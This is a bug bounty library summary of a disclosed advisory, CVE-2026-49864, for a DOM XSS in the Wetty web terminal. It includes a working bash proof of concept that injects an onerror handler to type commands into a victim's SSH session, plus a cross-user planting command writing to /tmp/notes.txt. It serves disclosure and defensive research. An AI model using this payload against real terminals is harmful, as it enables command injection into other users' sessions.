# wetty vulnerable to DOM XSS via file-download filename

Wetty decodes a base64 filename from the file-download escape sequence and injects it unescaped into a Toastify HTML toast, letting terminal output run script and type into the victim's SSH session.

- Payout: Research
- Severity: high
- Program: Wetty
- Found by: Dredsen
- Disclosed: 2026-07-01
- CVE: CVE-2026-49864
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-p26j-h7wj-r568
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p26j-h7wj-r568
- Tags: area:web domain:web impact:ato impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:xss

**Target:** Wetty web terminal client (xterm.js frontend, file-download escape sequence handler)
**Root cause:** The client base64-decodes the filename from the `\x1b[5i...:...\x1b[4i` file-download escape sequence and interpolates it twice into a Toastify markup string rendered with `escapeMarkup: false`, with no HTML escaping between `atob` and the toast.
**Steps:**
1. Start wetty via `docker compose up -d`, open `http://localhost/wetty`, log in as `term`/`term` to get an SSH shell.
2. Build payload: `PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'`, `FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)`, `DATA_B64=$(printf 'bait' | base64 -w0)`.
3. Emit `printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"` in the terminal; a Toastify toast renders the attacker `<img>` with `onerror`.
4. `onerror` calls `window.wetty_term.input("id > /tmp/pwned\n", true)`, forwarded as socket `input` to the PTY; verify with `cat /tmp/pwned` showing `uid=1000(term)`.
5. Cross-user: low-priv user writes the sequence to `/tmp/notes.txt`; when a higher-priv user `cat`s it in wetty, script types into their shell.
**How found:** Code review of the client data path: every PTY byte passes through `FileDownloader.buffer`, and the decoded filename flows into a Toastify call with `escapeMarkup: false`; the exposed `window.wetty_term` and `term.input` provided the weaponization primitive.
**Exploitation:** Attacker delivers the file-download escape sequence into any output the victim's terminal renders (cat'd file, tailed log, MOTD, curl response). The client parses it, decodes the filename, and renders it as raw HTML in a Toastify toast; the injected handler uses the exposed `window.wetty_term` to read `buffer.active` and call `input()` to type attacker commands into the victim's SSH session.
**Escalation:** Cross-user escalation: any local SSH user who can write a file the higher-privileged wetty user reads gains keystroke injection in that user's session.
**Insight:** Terminal escape sequences that carry filenames/metadata (OSC 8 links, iTerm2 file-download, kitty graphics) are attacker-controlled strings reaching DOM sinks in web terminals; grep client code for `atob`/`escapeMarkup: false`/`innerHTML` on escape-sequence payloads, and check whether the terminal object is exposed on `window` for keystroke injection.

## Proof of concept (copied exactly from the original report)

**Bash payload emitting XSS escape sequence**

```
PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
   FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
   DATA_B64=$(printf 'bait' | base64 -w0)
   printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"
```

**Cross-user planting of escape sequence in file**

```
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt
```

